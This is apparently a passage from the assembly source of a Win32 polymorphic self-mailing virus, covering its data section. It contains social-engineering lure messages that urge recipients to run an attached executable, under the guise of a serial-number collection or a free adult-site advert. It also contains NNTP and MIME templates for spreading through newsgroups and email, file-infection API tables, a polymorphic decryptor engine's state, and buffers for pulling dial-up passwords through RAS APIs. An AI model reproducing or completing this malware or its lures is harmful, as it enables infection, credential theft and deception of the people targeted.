				db 'be the program you have been waiting for.'
				db 0Ah,0Ah
				db 'We have collected serial numbers for many years and '
				db 'are now proud to release the very first version of our '
				db 'serial number collection, which contains more than '
				db '15.000 serial numbers.'
				db 0Ah,0Ah
				db 'Attached to this message is the very first version of '
				db 'our serial number collection.'
				db 0Ah,0Ah
				db 'Yours,',0Ah
				db 'Serial number collectors',0Ah
NGM_cracks_org	db '<cj_roland@quicknet.com>'
				db 0Ah,0Ah
				db '--'
				db 00h

NGM_cracks_sub	db 'New and even larger serial number list out now!'
				db 0Ah,00h

NGM_cracks_file	db 'lserial'					;Have to be 07h characters

                ;------------------------------------------------------------
				;Groups about sex
                ;------------------------------------------------------------

szSexDomain		db 'hoteens.com',0Ah,00h

groups_sex		equ $

				dd offset sz_news_group0F
				dd offset sz_news_group10
				dd offset sz_news_group11
				dd offset sz_news_group12
				dd offset sz_news_group13
				dd offset sz_news_group14
				dd offset sz_news_group15

				dd offset sz_news_group16
				dd offset sz_news_group17
				dd offset sz_news_group18
				dd offset sz_news_group19
				dd offset sz_news_group1A

NumOfSexNG		equ ($-groups_sex)/04h

NGM_body_sex	db 0Ah,0Ah
				db 'Dear potential customer,',0Ah,0Ah
				db 'We have just opened a new erotic site with more than '
				db '10.000 .JPGs and more than 1.000 '
				db '.MPG/.VIV/.AVI/.MOV/etc.'
				db 0Ah,0Ah
				db 'We offer you the opportunity of a lifetime, we are '
				db 'giving away a months access, without being charged, '
				db 'to our new site in exchange for your opinion.'
				db 0Ah,0Ah
				db 'All you have to do is execute the attached advert, '
				db 'which will generate your personal User ID, you dont '
				db 'even have to provide information as your personal '
				db 'credit card number, etc.'
				db 0Ah,0Ah
				db 'And if you like our site, please tell all your friends '
				db 'about us.'
				db 0Ah,0Ah
				db 'http://www.hoteens.com/',0Ah,0Ah
				db 'HoTeens.com',0Ah
NGM_sex_org		db '<opinion@hoteens.com>'
				db 0Ah,0Ah
				db '--'
				db 00h

NGM_sex_sub		db 'New and 100% free XXX site',0Ah,00h

NGM_sex_file	db 'hoteens'					;Have to be 07h characters

;----------------------------------------------------------------------------
;Strings used for talking with news server
;----------------------------------------------------------------------------

szNNTPcomm_00	db 'group '
NewsGroup_Name	db 28h dup (00h)
szNNTPcomm_01	db 'head',0Ah,00h
szNNTPcomm_02	db 'next',0Ah,00h

nntp_comm		equ $

				dd offset szNNTPcomm_00
				db 00h
				dd offset szNNTPcomm_01
				db 00h
				dd offset szNNTPcomm_02
				db 00h

num_nntp_comm	equ ($-nntp_comm)/05h

;----------------------------------------------------------------------------
;Strings used for building MIME headers
;----------------------------------------------------------------------------

szMIME_00		db 'MIME-Version: 1.0',0Ah
				db 'Content-Type: multipart/mixed;',0Ah
				db '	boundary=',22h,00h
szMIME_nextpart	db '----=_NextPart_000_0005_01BDE2FC.8B286C00',00h
szMIME_01		db 22h,0Ah
				db 'X-Priority: 3',0Ah
				db 'X-MSMail-Priority: Normal',0Ah
				db 'X-Unsent: 1',0Ah
				db 'X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3'
				db 0Ah
				db 'This is a multi-part message in MIME format.'
				db 0Ah,0Ah
				db '--'
				db 00h
szMIME_02		db 0Ah
				db 'Content-Type: text/plain;',0Ah
				db '	charset='
				db 22h
				db 'iso-8859-1'
				db 22h,0Ah
				db 'Content-Transfer-Encoding: quoted-printable',0Ah,00h

fake_mail_body	db 0Ah
				db 'This is an example of a self-mailing virus'
				db 0Ah,0Ah
				db '--'
				db 00h

szMIME_03		db 0Ah
				db 'Content-Type: application/octet-stream;',0Ah
				db '	name='
				db 22h
MIME_file_00	db '0123456'
				db '.exe'
				db 22h,0Ah
				db 'Content-Transfer-Encoding: base64',0Ah
				db 'Content-Disposition: attachment;',0Ah
				db '	filename='
				db 22h
MIME_file_01	db '0123456'
				db '.exe'
				db 22h,0Ah,0Ah,00h
szMIME_04		db '--',00h
szMIME_05		db '--',0Ah,0Ah,00h

mime_headers	equ $

				dd offset szMIME_00
				db 0FFh
				dd offset szMIME_nextpart
				db 0FFh
				dd offset szMIME_01
				db 0FFh
				dd offset szMIME_nextpart
				db 0FFh
				dd offset szMIME_02
				db 0FFh
AddrOfBody		dd 00000000h
				db 0FFh
				dd offset szMIME_nextpart
				db 0FFh
				dd offset szMIME_03
				db 0FFh

NumberOfMime	equ ($-mime_headers)/05h

mime_end		equ $

				dd offset szMIME_04
				db 0FFh
				dd offset szMIME_nextpart
				db 0FFh
				dd offset szMIME_05
				db 0FFh

NumberOfMimeEnd	equ ($-mime_end)/05h

;----------------------------------------------------------------------------
;Table used for BASE64 encoding
;----------------------------------------------------------------------------

TranslateTbl	equ $

				db 'A','B','C','D','E','F','G','H','I','J'
				db 'K','L','M','N','O','P','Q','R','S','T'
				db 'U','V','W','X','Y','Z','a','b','c','d'
				db 'e','f','g','h','i','j','k','l','m','n'
				db 'o','p','q','r','s','t','u','v','w','x'
				db 'y','z','0','1','2','3','4','5','6','7'
				db '8','9','+','/'

;----------------------------------------------------------------------------
;End of virus image in files
;----------------------------------------------------------------------------

inf_size		equ $-viro_sys
SizeOfProtect	equ $-CRC_protected
size_padding	equ 0065h

;----------------------------------------------------------------------------
;CRC32 lookup table
;
;This table is in virus uninitialized data area
;The table appears initialized here coz its needed for 1st
;virus generation
;----------------------------------------------------------------------------

tbl_crc32		dd 0100h dup (00000000h)

;----------------------------------------------------------------------------
;KERNEL32 API's
;----------------------------------------------------------------------------

a_GetProcAddress				dd 00000000h ;This API takes special care

epK32Apis						equ $

a_CreateFileA					dd 00000000h
a_CreateFileMappingA			dd 00000000h
a_MapViewOfFile					dd 00000000h
a_UnmapViewOfFile				dd 00000000h
a_CloseHandle					dd 00000000h
a_FindFirstFileA				dd 00000000h
a_FindNextFileA					dd 00000000h
a_FindClose						dd 00000000h
a_VirtualAlloc					dd 00000000h
a_GetWindowsDirectoryA			dd 00000000h
a_GetSystemDirectoryA			dd 00000000h
a_GetCurrentDirectoryA			dd 00000000h
a_SetFileAttributesA			dd 00000000h
a_GetFileAttributesA			dd 00000000h
a_SetFileTime					dd 00000000h
a_DeleteFileA					dd 00000000h
a_GetCurrentProcess				dd 00000000h
a_WriteProcessMemory			dd 00000000h
a_LoadLibraryA					dd 00000000h
a_FreeLibrary					dd 00000000h
a_GetSystemTime					dd 00000000h
a_SetFilePointer				dd 00000000h
a_SetEndOfFile					dd 00000000h
a_MoveFileA						dd 00000000h
a_ExitProcess					dd 00000000h
a_GetVersionExA					dd 00000000h
a_GetModuleFileNameA			dd 00000000h
a_CopyFileA						dd 00000000h
a_GetFileTime					dd 00000000h
a_CreateSemaphoreA				dd 00000000h
a_ReleaseSemaphore				dd 00000000h
a_CreateProcessA				dd 00000000h
a_WaitForSingleObject			dd 00000000h
a_GetCommandLineA				dd 00000000h
a_WriteFile						dd 00000000h
a_GetTempPathA					dd 00000000h

NumK32Apis						equ ($-epK32Apis)/04h

;----------------------------------------------------------------------------
;More handles (not used in virus critical initialization)
;----------------------------------------------------------------------------

h_WS32DLL		dd 00000000h
h_RASDLL		dd 00000000h
h_ADDLL			dd 00000000h
h_Semaphore		dd 00000000h
h_RegKey		dd 00000000h
h_Find			dd 00000000h

;----------------------------------------------------------------------------
;Structures used by CreateProcess
;----------------------------------------------------------------------------

Process_Info	equ $

PI_hProcess		dd 00000000h
PI_hThread		dd 00000000h
PI_ProcessId	dd 00000000h
PI_ThreadId		dd 00000000h

SIZEOF_PI		equ $-Process_Info
SIZEOF_SI		equ 0011h

StartUp_Info	dd SIZEOF_SI dup (00h)				

;----------------------------------------------------------------------------
;End of virus virtual image
;----------------------------------------------------------------------------

size_virtual	equ $-viro_sys

;----------------------------------------------------------------------------
;WSOCK32 API's
;----------------------------------------------------------------------------

epWS32Apis						equ $

a_WSAStartup					dd 00000000h
a_inet_addr						dd 00000000h
a_gethostbyaddr					dd 00000000h
a_htons							dd 00000000h
a_socket						dd 00000000h
a_connect						dd 00000000h
a_send							dd 00000000h
a_recv							dd 00000000h
a_closesocket					dd 00000000h
a_WSACleanup					dd 00000000h

NumWS32Apis						equ ($-epWS32Apis)/04h

;----------------------------------------------------------------------------
;RASAPI32 API's
;----------------------------------------------------------------------------

epRASApis						equ $

a_RasEnumConnectionsA			dd 00000000h
a_RasEnumEntriesA				dd 00000000h
a_RasGetEntryDialParamsA		dd 00000000h

NumRASApis						equ ($-epRASApis)/04h

;----------------------------------------------------------------------------
;ADVAPI32 API's
;----------------------------------------------------------------------------

epADApis						equ $

a_RegOpenKeyA					dd 00000000h
a_RegQueryValueA				dd 00000000h
a_RegCloseKey					dd 00000000h

NumADApis						equ ($-epADApis)/04h

;----------------------------------------------------------------------------
;Misc variables
;----------------------------------------------------------------------------

search_raw		dd 00000000h
BytesWritten	dd 00000000h
key_size		dd 00000000h

;----------------------------------------------------------------------------
;Poly engine uninitialized data
;----------------------------------------------------------------------------

ptr_disp        dd 00000000h    ;Displacement from index
disp2disp       dd 00000000h    ;Displacement over displacement 
end_value       dd 00000000h    ;Index end value
delta_call      dd 00000000h    ;Used into delta_offset routines
loop_point      dd 00000000h    ;Start address of decryption loop
entry_point     dd 00000000h    ;Entry point to decryptor code
decryptor_size  dd 00000000h    ;Size of generated decryptor
crypt_key       dd 00000000h    ;Encryption key
ep_junk_addr	dd 00000000h	;Address of poly block for entry-point
ep_junk_fix		dd 00000000h	;Size correction
oper_size       db 00h          ;Size used (1=Byte 2=Word 4=Dword)
index_mask      db 00h          ;Mask of register used as index
counter_mask    db 00h          ;Mask of register used as counter
build_flags     db 00h          ;Some decryptor flags
recursive_level db 00h          ;Garbage recursive layer

                ;Decryptor flags aliases

CRYPT_DIRECTION equ 01h
CRYPT_CMPCTR    equ 02h
CRYPT_CDIR      equ 04h
CRYPT_SIMPLEX   equ 10h
CRYPT_COMPLEX   equ 20h

;----------------------------------------------------------------------------
;Information about currently opened file
;----------------------------------------------------------------------------

CurFileAttr		dd 00000000h
h_CreateFile	dd 00000000h
h_FileMap		dd 00000000h

FileLastWriteT	equ $

				dd 00000000h
				dd 00000000h

FileLastAccessT	equ $

				dd 00000000h
				dd 00000000h

FileCreationT	equ $

				dd 00000000h
				dd 00000000h

;----------------------------------------------------------------------------
;Buffers used for path and filename manipulation routines
;----------------------------------------------------------------------------

BufDeleteOnExit	db MAX_PATH	dup (00000000h)

BufStrFilename	db MAX_PATH	dup (00000000h)

BufStr2Upper	db MAX_PATH	dup (00000000h)

string_padd		db 00h
BufGetDir		db MAX_PATH	dup (00000000h)

;----------------------------------------------------------------------------
;Buffers for information about RAS connections
;----------------------------------------------------------------------------

Num_Ras_Entries	equ 100h

;Here comes the equates and the buffers needed for RasEnumConnections

SIZEOF_RASCONN	equ 019Ch
RAS_NAMES_NT	equ SIZEOF_RASCONN*Num_Ras_Entries

;Here comes the equates and the buffer needed for RasEnumEntries

SIZEOF_RASENTRY	equ 0108h
RASE_NAMES_NT	equ SIZEOF_RASENTRY*Num_Ras_Entries

;Buffers used by RasEnumConnections and RasEnumEntries

number_of_names	dd 00000000h
size_of_names	dd 00000000h

RAS_buffer		db SIZEOF_RASCONN*Num_Ras_Entries dup (00h)

;Here comes the equates for RasGetEntryDialParams

SIZEOF_RASPARAM	equ 041Ch

;This buffers are used by RasGetEntryDialParams

RASP_ret_passwd	dd 00000000h

RASP_INFO		db SIZEOF_RASPARAM dup (00h)

;----------------------------------------------------------------------------
;Buffers for information about socket
;----------------------------------------------------------------------------

AF_INET			equ 00000002h
SOCK_STREAM		equ 00000001h

InetAddr		dd 00000000h
conn_sock		dd 00000000h

WSA_data		equ $

WSA_ver_low		dw 0000h
WSA_ver_high	dw 0000h
WSA_description	db 0101h dup (00h)
WSA_sys_stat	db 0081h dup (00h)
WSA_max_sockets	dw 0000h
WSA_max_udp_dg	dw 0000h
WSA_vendor_info dd 00000000h

SockAddrIn		equ $

sin_family		dw 0000h
sin_port		dw 0000h
sin_addr		dd 00000000h
sin_zero		db 08h dup (00h)

SizeOfAddrIn	equ $-SockAddrIn

use_server		dd 00000000h
use_port		dd 00000000h

SIZEOF_RECVBUF	equ 1000h
RecvBuffer		db SIZEOF_RECVBUF dup (00h)

;----------------------------------------------------------------------------
;Buffer for information about operating system version
;----------------------------------------------------------------------------

OsVersionInfo	equ $

OSVerInfoSize	dd 00000000h
OSVerMajorVer	dd 00000000h
OSVerMinorVer	dd 00000000h
OSVerBuildNum	dd 00000000h
OSVerPlatform	dd 00000000h
OSStrVer		db 80h dup (00h)

SizeOfOsVersion	equ $-OsVersionInfo

;----------------------------------------------------------------------------
;Buffer used for BASE64 encoding
;----------------------------------------------------------------------------

BeatCounter		dd 00000000h

BeatBuffer		db 50h*08h dup (00h)

;----------------------------------------------------------------------------
;This is a WIN32 FindData structure used to infect files
;----------------------------------------------------------------------------

DirectFindData	db SIZEOF_WIN32_FIND_DATA dup (00h)

;----------------------------------------------------------------------------
;Buffer used by the polymorphic engine to generate the decryptor
;----------------------------------------------------------------------------

poly_buffer		equ $

				db 1000h dup (00h)

;----------------------------------------------------------------------------
;Size of buffer used to build a dropper
;----------------------------------------------------------------------------

SIZEOF_DROPPER	equ 5000h

;----------------------------------------------------------------------------
;End of virus image in allocated memory
;----------------------------------------------------------------------------

alloc_size		equ $-viro_sys

virseg          ends
                end host_code